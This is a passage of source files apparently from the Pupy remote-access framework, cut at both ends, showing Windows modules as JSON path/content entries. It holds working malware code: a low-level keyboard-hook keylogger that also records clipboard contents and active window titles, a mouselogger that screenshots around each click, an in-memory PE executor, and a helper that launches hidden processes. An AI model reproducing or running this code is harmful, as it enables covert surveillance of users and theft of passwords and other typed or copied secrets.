kernel32.GetCurrentProcessId\nGetCurrentProcessId.restype  = DWORD\nGetCurrentProcessId.argtypes = []\n\nOpenProcess          = kernel32.OpenProcess\nOpenProcess.restype  = HANDLE\nOpenProcess.argtypes = [DWORD, BOOL, DWORD]\n\nLocalAlloc          = kernel32.LocalAlloc\nLocalAlloc.restype  = HANDLE\nLocalAlloc.argtypes = [PSID, DWORD]\n\nLocalFree           = kernel32.LocalFree\nLocalFree.restype   = HANDLE\nLocalFree.argtypes  = [HANDLE]\n\nGetModuleBaseNameW = psapi.GetModuleBaseNameW\nGetModuleBaseNameW.restype = DWORD\nGetModuleBaseNameW.argtypes = [HWND, HMODULE, c_void_p, DWORD]\n\nGetModuleHandleW = kernel32.GetModuleHandleW\nGetModuleHandleW.restype = HMODULE\nGetModuleHandleW.argtypes = [LPCWSTR]\n\nGetWindowThreadProcessId = user32.GetWindowThreadProcessId\nGetWindowThreadProcessId.restype = DWORD\nGetWindowThreadProcessId.argtypes = (HWND, POINTER(DWORD))\n\nSetTimer            = user32.SetTimer\nSetTimer.restype    = ULONG_PTR\nSetTimer.argtypes   = (HWND, ULONG_PTR, UINT, c_void_p)\n\nKillTimer           = user32.KillTimer\nKillTimer.restype   = BOOL\nKillTimer.argtypes  = (HWND, ULONG_PTR)\n\nSetWindowsHookEx = user32.SetWindowsHookExW\nSetWindowsHookEx.argtypes = (c_int, HOOKPROC, HINSTANCE, DWORD)\nSetWindowsHookEx.restype = HHOOK\n\nUnhookWindowsHookEx = user32.UnhookWindowsHookEx\nUnhookWindowsHookEx.restype = BOOL\nUnhookWindowsHookEx.argtypes = [HHOOK]\n\nCallNextHookEx = user32.CallNextHookEx\nCallNextHookEx.restype = LRESULT\nCallNextHookEx.argtypes = (\n    HHOOK,  # _In_opt_ hhk\n    c_int,  # _In_     nCode\n    WPARAM, # _In_     wParam\n    LPARAM) # _In_     lParam\n\nGetMessageW = user32.GetMessageW\nGetMessageW.argtypes = (\n    LPMSG, # _Out_    lpMsg\n    HWND,  # _In_opt_ hWnd\n    UINT,  # _In_     wMsgFilterMin\n    UINT)  # _In_     wMsgFilterMax\n\nCloseHandle = kernel32.CloseHandle\nCloseHandle.argtypes = [HWND]\n\nGetKeyboardState  = user32.GetKeyboardState\nGetKeyboardLayout = user32.GetKeyboardLayout\nToUnicodeEx       = user32.ToUnicodeEx\nToAsciiEx         = user32.ToAsciiEx\n\nGetKeyState          = user32.GetKeyState\nGetKeyState.restype  = SHORT\nGetKeyState.argtypes = [INT]\n\nOpenClipboard     = user32.OpenClipboard\nCloseClipboard    = user32.CloseClipboard\nGetClipboardData  = user32.GetClipboardData\nGetCursorPos      = user32.GetCursorPos\n\nGetSystemMetrics  = user32.GetSystemMetrics\nGetSystemMetrics.argtypes = [INT]\nGetSystemMetrics.restypes = INT\n\nEnumDisplayMonitors = user32.EnumDisplayMonitors\nEnumDisplayMonitors.argtypes = [HDC, LPRECT, MONITORENUMPROC, LPARAM]\nEnumDisplayMonitors.restypes = BOOL\n\nGetWindowDC = user32.GetWindowDC\nGetWindowDC.argtypes = [HWND]\nGetWindowDC.restypes = HDC\n\nGetWindowText = user32.GetWindowTextW\nGetWindowText.argtypes = (HWND, LPWSTR, INT)\nGetWindowText.restype = c_int\n\nCreateCompatibleDC = gdi32.CreateCompatibleDC\nCreateCompatibleDC.argtypes = [HDC]\nCreateCompatibleDC.restypes = HDC\n\nCreateCompatibleBitmap = gdi32.CreateCompatibleBitmap\nCreateCompatibleBitmap.argtypes = [HDC, INT, INT]\nCreateCompatibleBitmap.restypes = HBITMAP\n\nSelectObject = gdi32.SelectObject\nSelectObject.argtypes = [HDC, HGDIOBJ]\nSelectObject.restypes = HGDIOBJ\n\nBitBlt = gdi32.BitBlt\nBitBlt.argtypes = [HDC, INT, INT, INT, INT, HDC, INT, INT, DWORD]\nBitBlt.restypes = BOOL\n\nGetDIBits = gdi32.GetDIBits\nGetDIBits.restypes = INT\nGetDIBits.argtypes = [HDC, HBITMAP, UINT, UINT, LPVOID,\n    POINTER(BITMAPINFO), UINT]\n\nDeleteObject = gdi32.DeleteObject\nDeleteObject.argtypes = [HGDIOBJ]\nDeleteObject.restypes = BOOL\n\n# wrappers\n\n#credit: Black Hat Python - https://www.nostarch.com/blackhatpython\ndef get_current_process():\n    hwnd = GetForegroundWindow()\n\n    pid = c_ulong(0)\n    GetWindowThreadProcessId(hwnd, byref(pid))\n\n    executable = create_unicode_buffer('\\x00', 512)\n    h_process = OpenProcess(0x400 | 0x10, False, pid)\n    GetModuleBaseNameW(h_process, None, byref(executable), 512)\n\n    window_title = create_unicode_buffer('\\x00', 512)\n\n    lpBuffer = cast(byref(window_title), LPWSTR)\n    GetWindowText(hwnd, lpBuffer, 512)\n\n    CloseHandle(hwnd)\n    CloseHandle(h_process)\n\n    return executable.value, window_title.value\n\n## http://nullege.com/codes/show/src%40t%40h%40thbattle-HEAD%40src%40utils%40pyperclip.py/48/ctypes.windll.user32.OpenClipboard/python\ndef get_clipboard():\n    OpenClipboard(0)\n    pcontents = GetClipboardData(13) # CF_UNICODETEXT\n    data = c_wchar_p(pcontents).value\n    CloseClipboard()\n    return data\n\ndef get_mouse_xy():\n    pt = POINT()\n    GetCursorPos(byref(pt))\n    return pt.x, pt.y\n"
  },
  {
    "path": "pupy/packages/windows/all/pupwinutils/keylogger.py",
    "content": "# --------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or\n# without modification, are permitted provided that the following\n# conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above\n# copyright notice, this list of conditions and the following\n# disclaimer in the documentation and/or other materials provided\n# with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its\n# contributors may be used to endorse or promote products derived\n# from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND\n# CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR\n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n# NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n# OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE\n# --------------------------------------------------------------\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport pupy.agent\nimport sys\n\nimport datetime\nimport string\n\nfrom .hookfuncs import (\n    GetKeyState, HOOKPROC, SetTimer, MSG, byref,\n    GetMessageW, KillTimer, GetModuleHandleW, SetWindowsHookEx,\n    WH_KEYBOARD_LL, WinError, UnhookWindowsHookEx,\n    CallNextHookEx, LOWORD, WM_KEYUP, WM_SYSKEYUP,\n    BYTE, WCHAR, KBDLLHOOKSTRUCT, DWORD, GetWindowThreadProcessId,\n    GetForegroundWindow, GetKeyboardLayout, GetKeyboardState,\n    VK_MENU, VK_CONTROL, VK_LWIN, VK_RWIN, VK_SHIFT, VK_LSHIFT, VK_RMENU,\n    ToUnicodeEx, ToAsciiEx, get_current_process, get_clipboard\n)\n\nfrom pupy.network.lib.convcompat import as_unicode_string\n\nif sys.version_info.major > 2:\n    unicode = str\n\nUNPRINTABLE = {\n    0x09: 'TAB',\n    0x0D: 'RET',\n    0x1B: 'ESC',\n    0x08: 'BKSC',\n    0x21: 'PGUP',\n    0x22: 'PGDN',\n    0x23: 'END',\n    0x24: 'HOME',\n    0x25: 'LFT',\n    0x26: 'UP',\n    0x27: 'RGHT',\n    0x28: 'DWN',\n    0x2D: 'INS',\n    0x2E: 'DEL',\n    0x5B: 'LWIN',\n    0x5C: 'RWIN',\n    0x5D: 'APPS',\n    0x70: 'F1',\n    0x71: 'F2',\n    0x72: 'F3',\n    0x73: 'F4',\n    0x74: 'F5',\n    0x75: 'F6',\n    0x76: 'F7',\n    0x77: 'F8',\n    0x78: 'F9',\n    0x79: 'F10',\n    0x7A: 'F11',\n    0x7B: 'F12'\n}\n\n\ndef keylogger_start(event_id=None):\n    if pupy.agent.manager.active(KeyLogger):\n        return False\n\n    try:\n        pupy.agent.manager.create(KeyLogger, event_id=event_id)\n    except:\n        return False\n\n    return True\n\n\ndef keylogger_dump():\n    keylogger = pupy.agent.manager.get(KeyLogger)\n    if keylogger:\n        return keylogger.results\n\n\ndef keylogger_stop():\n    keylogger = pupy.agent.manager.get(KeyLogger)\n    if keylogger:\n        pupy.agent.manager.stop(KeyLogger)\n        return keylogger.results\n\n\ndef is_pressed(*keys):\n    return any(\n        GetKeyState(x) & 0x8000 for x in keys\n    )\n\n\nclass KeyLogger(pupy.Task):\n    results_type = unicode\n\n    def __init__(self, *args, **kwargs):\n        super(KeyLogger, self).__init__(*args, **kwargs)\n        self.hooked = None\n        self.last_windows = None\n        self.last_clipboard = ''\n        self.hook_proc_ptr = HOOKPROC(self.hook_proc)\n\n    def append(self, data):\n        super(KeyLogger, self).append(\n            as_unicode_string(data)\n        )\n\n    def task(self):\n        if self.hooked:\n            raise ValueError('Task already active')\n\n        try:\n            self.install_hook()\n        except:\n            self.stop()\n            return\n\n        timer = None\n\n        try:\n            timer = SetTimer(0, 0, 1000, 0)\n\n            msg = MSG()\n            msgptr = byref(msg)\n\n            while self.active:\n                try:\n                    GetMessageW(msgptr, None, 0, 0)\n                except Exception as e:\n                    raise ValueError(\n                        'Shit: {} / {} / {} / {}'.format(\n                            msg, msgptr, GetMessageW, e\n                        )\n                    )\n\n        finally:\n            if timer:\n                KillTimer(0, timer)\n\n            self.uninstall_hook()\n\n    def install_hook(self):\n        if self.hooked:\n            raise ValueError('Task already active')\n\n        modhwd = GetModuleHandleW(None)\n\n        self.hooked = SetWindowsHookEx(\n            WH_KEYBOARD_LL, self.hook_proc_ptr, modhwd, 0\n        )\n\n        if not self.hooked:\n            raise WinError()\n\n    def uninstall_hook(self):\n        if self.hooked is None:\n            return\n\n        try:\n            if not UnhookWindowsHookEx(self.hooked):\n                raise WinError()\n\n        finally:\n            self.hooked = None\n\n    def hook_proc(self, nCode, wParam, lParam):\n        try:\n            self._hook_proc(nCode, wParam, lParam)\n        except:\n            import traceback\n            traceback.print_exc()\n            raise\n\n        finally:\n            return CallNextHookEx(self.hooked, nCode, wParam, lParam)\n\n    def _hook_proc(self, nCode, wParam, lParam):\n        # The keylogger callback\n        if LOWORD(wParam) not in (WM_KEYUP, WM_SYSKEYUP):\n            return\n\n        keyState = (BYTE * 256)()\n        buff = (WCHAR * 256)()\n        kbdllhookstruct = KBDLLHOOKSTRUCT.from_address(lParam)\n\n        key = ''\n        modifiers = []\n\n        pid = DWORD()\n        tid = GetWindowThreadProcessId(GetForegroundWindow(), byref(pid))\n        hKl = GetKeyboardLayout(tid)\n\n        if not GetKeyboardState(byref(keyState)):\n            return\n\n        if is_pressed(VK_MENU):\n            keyState[VK_MENU] = 0x80\n            modifiers.append('ALT')\n\n        if is_pressed(VK_CONTROL):\n            keyState[VK_MENU] = 0x80\n            modifiers.append('CTRL')\n\n        if is_pressed(VK_LWIN, VK_RWIN):\n            modifiers.append('WIN')\n\n        if is_pressed(VK_SHIFT):\n            keyState[VK_SHIFT] = 0x80\n            if modifiers:\n                modifiers.append('SHIFT')\n\n        if kbdllhookstruct.vkCode in UNPRINTABLE:\n            if not (kbdllhookstruct.vkCode in (\n                    VK_LWIN, VK_RWIN) and 'WIN' in modifiers):\n                key = UNPRINTABLE[kbdllhookstruct.vkCode]\n                if not modifiers:\n                    key = '[' + key + ']'\n\n        elif kbdllhookstruct.vkCode >= VK_LSHIFT and \\\n                kbdllhookstruct.vkCode <= VK_RMENU:\n            key = ''\n\n        else:\n            # https://msdn.microsoft.com/en-us/library/windows/desktop/ms646322(v=vs.85).aspx\n            r = ToUnicodeEx(\n                kbdllhookstruct.vkCode,\n                kbdllhookstruct.scanCode,\n                byref(keyState),\n                byref(buff),\n                256,\n                0,\n                hKl\n            )\n\n            if r == 0:\n                r = ToAsciiEx(\n                    kbdllhookstruct.vkCode,\n                    kbdllhookstruct.scanCode,\n                    byref(keyState),\n                    byref(buff),\n                    0,\n                    0\n                )\n\n            if r == 0:  # nothing written to the buffer\n                key = chr(kbdllhookstruct.vkCode)\n                if key not in string.printable:\n                    key = '{:02X}'.format(\n                        kbdllhookstruct.vkCode)\n\n            else:\n                key = buff.value\n\n        if modifiers and key:\n            hooked_key = '{' + ('+'.join(modifiers)) + '+' + key + '}'\n        else:\n            hooked_key = key\n\n        exe, win_title = 'unknown', 'unknown'\n        try:\n            exe, win_title = get_current_process()\n        except Exception:\n            pass\n\n        if self.last_windows != (exe, win_title):\n            self.append(\n                '\\n{}: {} {}\\n'.format(\n                    datetime.datetime.now(),\n                    exe, win_title\n                )\n            )\n\n            self.last_windows = (exe, win_title)\n\n        paste = ''\n\n        try:\n            paste = get_clipboard()\n        except Exception:\n            pass\n\n        if paste and paste != self.last_clipboard:\n            try:\n                self.append(\n                    '\\n<clipboard>{}</clipboard>\\n'.format(paste.strip())\n                )\n            except:\n                self.append(\n                    '\\n<clipboard>{}</clipboard>\\n'.format(repr(paste)[2:-1])\n                )\n\n            self.last_clipboard = paste\n\n        if hooked_key:\n            self.append(hooked_key)\n"
  },
  {
    "path": "pupy/packages/windows/all/pupwinutils/memexec.py",
    "content": "# -*- coding: utf-8 -*-\n# --------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its contributors\n# may be used to endorse or promote products derived from this software without\n# specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE\n# --------------------------------------------------------------\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport ctypes\nimport threading\n\nfrom ctypes.wintypes import DWORD, HANDLE, BOOL, LPVOID, UINT\nfrom ctypes import byref, create_string_buffer, POINTER, WinError\n\nfrom pupy.agent import is_supported, mexec\nfrom pupy.network.lib.pupyrpc import nowait\nfrom pupy.network.lib.convcompat import as_native_string\n\nif not is_supported(mexec):\n    import pupymemexec\n    mexec = pupymemexec.run_pe_from_memory\n\nERROR_BROKEN_PIPE = 0x6D\n\nPVOID = ctypes.c_voidp\nPDWORD = POINTER(DWORD)\n\nGetLastError = ctypes.windll.kernel32.GetLastError\n\nReadFile = ctypes.windll.kernel32.ReadFile\nReadFile.restype = BOOL\nReadFile.argtypes = [\n    HANDLE, LPVOID, DWORD, PVOID, PVOID\n]\n\nWriteFile = ctypes.windll.kernel32.WriteFile\nWriteFile.restype = BOOL\nWriteFile.argtypes = [\n    HANDLE, LPVOID, DWORD, PVOID, PVOID\n]\n\nCloseHandle = ctypes.windll.kernel32.CloseHandle\nCloseHandle.restype = BOOL\nCloseHandle.argtypes = [HANDLE]\n\nTerminateProcess = ctypes.windll.kernel32.TerminateProcess\nTerminateProcess.restype = BOOL\nTerminateProcess.argtypes = [HANDLE, UINT]\n\nGetProcessId = ctypes.windll.kernel32.GetProcessId\nGetProcessId.restype = DWORD\nGetProcessId.argtypes = [HANDLE]\n\nPIPE_READMODE_BYTE = 0x0\nPIPE_NOWAIT = 0x1\n\n\nclass MemoryPE(object):\n    ''' run a pe from memory. '''\n\n    def __init__(\n        self, raw_pe, args=[], suspended_process=None,\n            hidden=True, dupHandle=None):\n\n        self.cmdline = suspended_process or 'cmd.exe'\n\n        if args:\n            self.cmdline += ' ' + ' '.join(args)\n\n        self.raw_pe = raw_pe\n\n        if not isinstance(self.raw_pe, bytes):\n            self.raw_pe = bytes(self.raw_pe)\n\n        self.suspended_process = suspended_process\n\n        self.hidden = hidden\n\n        self.hProcess = None\n        self.pStdin = None\n        self.pStdout = None\n        self.complete_cb = None\n        self.write_cb = None\n        self.terminate = False\n\n        self.dupHandle = dupHandle\n        if self.dupHandle is None:\n            self.dupHandle = 0\n\n        self.EOF = threading.Event()\n        self.stdout = ''\n\n    def close(self):\n        # Killing the program if he is still alive\n        self.EOF.set()\n\n        if self.pStdout:\n            CloseHandle(self.pStdout)\n            self.pStdout = None\n\n        if self.pStdin:\n            CloseHandle(self.pStdin)\n            self.pStdin = None\n\n        if self.hProcess:\n            if self.terminate:\n                TerminateProcess(self.hProcess, 1)\n\n            CloseHandle(self.hProcess)\n            self.hProcess = None\n\n        if self.complete_cb:\n            self.complete_cb()\n            self.complete_cb = None\n\n        if self.write_cb:\n            self.write_cb = None\n\n    def execute(self, complete_cb, write_cb=True):\n        ''' Execute process '''\n\n        if complete_cb:\n            self.complete_cb = nowait(complete_cb)\n\n        if write_cb and write_cb is not True:\n            self.write_cb = nowait(write_cb)\n            self.terminate = True\n\n        try:\n            hProcess, pStdin, pStdout = mexec(\n                self.cmdline, self.raw_pe, write_cb is not None,\n                self.hidden, self.dupHandle\n            )\n        except Exception as e:\n            if self.write_cb:\n                self.write_cb('[!] memexec failed: {}\\n'.format(e))\n\n            return False\n\n        self.pStdout = HANDLE(pStdout)\n        self.pStdin = HANDLE(pStdin)\n\n        self.hProcess = HANDLE(hProcess)\n\n        if self.hProcess is None:\n            return\n\n        if write_cb:\n            loop = threading.Thread(target=self._loop)\n            loop.daemon = True\n            loop.start()\n        else:\n            if self.complete_cb:\n                self.complete_cb()\n\n        return GetProcessId(self.hProcess)\n\n    def _loop(self):\n        try:\n            while True:\n                buffer = create_string_buffer(2048)\n                c_read = DWORD(0)\n                success = ReadFile(\n                    self.pStdout, buffer, len(buffer)-1, byref(c_read), None\n                )\n\n                if not success:\n                    last_error = GetLastError()\n                    if last_error == ERROR_BROKEN_PIPE:\n                        break\n\n                if c_read.value > 0:\n                    buffer[c_read.value] = b'\\x00'\n\n                    if self.write_cb:\n                        try:\n                            self.write_cb(buffer.value)\n                        except:\n                            # We need to empty pipe anyway\n                            pass\n                    else:\n                        self.stdout += buffer.value\n\n        except Exception as e:\n            import traceback\n            if self.write_cb:\n                try:\n                    self.write_cb(\n                        '[+] Exception: {}'.format(\n                            traceback.format_exc()\n                        )\n                    )\n                except:\n                    pass\n\n        finally:\n            self.close()\n\n    def write(self, data):\n        try:\n            c_written = DWORD()\n            buffer = create_string_buffer(data)\n            if not WriteFile(self.pStdin, buffer, len(buffer), byref(c_written), None):\n                raise WinError()\n\n        except:\n            self.close()\n"
  },
  {
    "path": "pupy/packages/windows/all/pupwinutils/mouselogger.py",
    "content": "from __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n# Mostly stolen from Nicolas VERDIER (contact@n1nj4.eu)\n# Mostly stolen and recreated by golind\n\nimport time\nimport datetime\n\nfrom png import bmp_to_png\n\nfrom .hookfuncs import (\n    MSG, SetTimer, GetMessageW,\n    byref, KillTimer, get_mouse_xy,\n    GetSystemMetrics,\n    SM_CXVIRTUALSCREEN, SM_XVIRTUALSCREEN,\n    SM_CYVIRTUALSCREEN, SM_YVIRTUALSCREEN,\n    GetWindowDC, CreateCompatibleDC, SelectObject,\n    BitBlt, SRCCOPY, BITMAPINFO, sizeof,\n    BITMAPINFOHEADER, create_string_buffer,\n    GetDIBits, pointer, DIB_RGB_COLORS, DeleteObject,\n    HOOKPROC, SetWindowsHookEx, WH_MOUSE_LL,\n    GetModuleHandleW, UnhookWindowsHookEx,\n    get_current_process, CallNextHookEx, CreateCompatibleBitmap\n)\n\nimport pupy.agent\n\ncurrent_window = None\n\ndef mouselogger_start(event_id=None):\n    if pupy.agent.manager.active(MouseLogger):\n        return False\n\n    try:\n        pupy.agent.manager.create(MouseLogger, event_id=event_id)\n    except:\n        return False\n\n    return True\n\ndef mouselogger_dump():\n    mouselogger = pupy.agent.manager.get(MouseLogger)\n    if mouselogger:\n        return mouselogger.results\n\ndef mouselogger_stop():\n    mouselogger = pupy.agent.manager.get(MouseLogger)\n    if mouselogger:\n        pupy.agent.manager.stop(MouseLogger)\n        return mouselogger.results\n\nclass MouseLogger(pupy.Task):\n    def __init__(self, *args, **kwargs):\n        super(MouseLogger, self).__init__(*args, **kwargs)\n        self.hooked  = None\n        self.pointer = None\n\n    def task(self):\n        if not self.install_hook():\n            raise RuntimeError(\"couldn't install mouselogger\")\n\n        try:\n            msg = MSG()\n            timer = SetTimer(0, 0, 1000, 0)\n\n            while self.active:\n                GetMessageW(byref(msg), 0, 0, 0)\n\n            KillTimer(0, timer)\n\n        finally:\n            self.uninstall_hook()\n\n    def get_screenshot(self):\n        x, y = get_mouse_xy()\n\n        limit_width = GetSystemMetrics(SM_CXVIRTUALSCREEN)\n        limit_height = GetSystemMetrics(SM_CYVIRTUALSCREEN)\n        limit_left = GetSystemMetrics(SM_XVIRTUALSCREEN)\n        limit_top = GetSystemMetrics(SM_YVIRTUALSCREEN)\n\n        height = min(100,limit_height)\n        width = min(200,limit_width)\n        left = max(x-100,limit_left)\n        top = max(y-50,limit_top)\n\n        srcdc = GetWindowDC(0)\n        memdc = CreateCompatibleDC(srcdc)\n        bmp = CreateCompatibleBitmap(srcdc, width, height)\n        try:\n            SelectObject(memdc, bmp)\n            BitBlt(memdc, 0, 0, width, height, srcdc, left, top, SRCCOPY)\n            bmi = BITMAPINFO()\n            bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER)\n            bmi.bmiHeader.biWidth = width\n            bmi.bmiHeader.biHeight = height\n            bmi.bmiHeader.biBitCount = 24\n            bmi.bmiHeader.biPlanes = 1\n            buffer_len = height * ((width * 3 + 3) & -4)\n            pixels = create_string_buffer(buffer_len)\n            bits = GetDIBits(memdc, bmp, 0, height, byref(pixels),\n                pointer(bmi), DIB_RGB_COLORS)\n        finally:\n            DeleteObject(srcdc)\n            DeleteObject(memdc)\n            DeleteObject(bmp)\n\n        if bits != height or len(pixels.raw) != buffer_len:\n            raise ValueError('MSSWindows: GetDIBits() failed.')\n\n        return pixels.raw, height, width\n\n    def install_hook(self):\n        self.pointer = HOOKPROC(self.hook_proc)\n        self.hooked = SetWindowsHookEx(\n            WH_MOUSE_LL,\n            self.pointer,\n            GetModuleHandleW(None),\n            0\n        )\n        if not self.hooked:\n            return False\n\n        return True\n\n    def uninstall_hook(self):\n        if self.hooked is None:\n            return\n\n        UnhookWindowsHookEx(self.hooked)\n        self.hooked = None\n\n    def hook_proc(self, nCode, wParam, lParam):\n        ##http://www.pinvoke.net/default.aspx/Constants.WM\n        if wParam == 0x201:\n            buf, height, width = self.get_screenshot()\n            exe, win_title = \"unknown\", \"unknown\"\n            try:\n                exe, win_title=get_current_process()\n            except Exception:\n                pass\n\n            self.append((\n                str(datetime.datetime.now()), height, width, exe,\n                win_title, bmp_to_png(buf, width, height, reverse=True)\n            ))\n\n        return CallNextHookEx(self.hooked, nCode, wParam, lParam)\n\nif __name__==\"__main__\":\n    ml = MouseLogger()\n    ml.start()\n    while True:\n        for d, height, width, exe, win_title, buf in ml.retrieve_screenshots():\n            print(\"screenshot of %s/%s taken at %s (%s bytes) from %s : %s \"%(\n                height, width, d, len(buf), exe, win_title))\n        time.sleep(1)\n"
  },
  {
    "path": "pupy/packages/windows/all/pupwinutils/msgbox.py",
    "content": "#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport ctypes\nimport threading\n\ndef MessageBox(text, title):\n    t=threading.Thread(target=ctypes.windll.user32.MessageBoxA, args=(None, text, title, 0))\n    t.daemon=True\n    t.start()\n"
  },
  {
    "path": "pupy/packages/windows/all/pupwinutils/processes.py",
    "content": "# ----------------------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its contributors\n# may be used to endorse or promote products derived from this software without\n# specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE\n# ----------------------------------------------------------------------------\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport psutil\nimport platform\nimport subprocess\n\nfrom ctypes import (\n    byref, c_bool, windll, c_void_p, POINTER, WinError\n)\n\nINVALID_HANDLE_VALUE = c_void_p(-1).value\nPROCESS_QUERY_INFORMATION = 0x0400\nPROCESS_VM_READ = 0x0010\nMAX_PATH = 260\n\n\nIsWow64Process = None\nif hasattr(windll.kernel32, 'IsWow64Process'):\n    IsWow64Process = windll.kernel32.IsWow64Process\n    IsWow64Process.restype = c_bool\n    IsWow64Process.argtypes = [c_void_p, POINTER(c_bool)]\n\n\ndef is_process_64(pid):\n    ''' Take a pid. return True if process is 64 bits, and False otherwise. '''\n\n    is64 = False\n    if '64' not in platform.machine():\n        return False\n\n    hProcess = windll.kernel32.OpenProcess(\n        PROCESS_QUERY_INFORMATION, False, pid\n    )\n\n    if hProcess == INVALID_HANDLE_VALUE:\n        raise WinError(\n            \"Can't OpenProcess for PROCESS_QUERY_INFORMATION. \"\n            \"Insufficient privileges?\"\n        )\n\n    is64 = is_process_64_from_handle(hProcess)\n    windll.kernel32.CloseHandle(hProcess)\n    return is64\n\n\ndef is_process_64_from_handle(hProcess):\n    '''\n    Take a process handle. return True if process is 64 bits,\n    and False otherwise.\n    '''\n\n    iswow64 = c_bool(False)\n    if IsWow64Process is None:\n        return False\n\n    if not IsWow64Process(hProcess, byref(iswow64)):\n        raise WinError()\n\n    return not iswow64.value\n\n\ndef enum_processes():\n    proclist = []\n\n    for proc in psutil.process_iter():\n        try:\n            pinfo = proc.as_dict(attrs=[\n                'username', 'pid', 'name', 'exe', 'cmdline', 'status'\n            ])\n\n            arch = '?'\n            try:\n                arch = (\n                    'x64' if is_process_64(int(pinfo['pid'])) else 'x32'\n                )\n            except WindowsError:\n                pass\n\n            pinfo['arch'] = arch\n            proclist.append(pinfo)\n        except psutil.NoSuchProcess:\n            pass\n\n    return proclist\n\n\ndef start_hidden_process(path, return_popen=False):\n    info = subprocess.STARTUPINFO()\n    info.dwFlags = \\\n        subprocess.STARTF_USESHOWWINDOW | \\\n            subprocess.CREATE_NEW_PROCESS_GROUP\n\n    info.wShowWindow = subprocess.SW_HIDE\n    p = subprocess.Popen(path, startupinfo=info)\n\n    if return_popen:\n        return 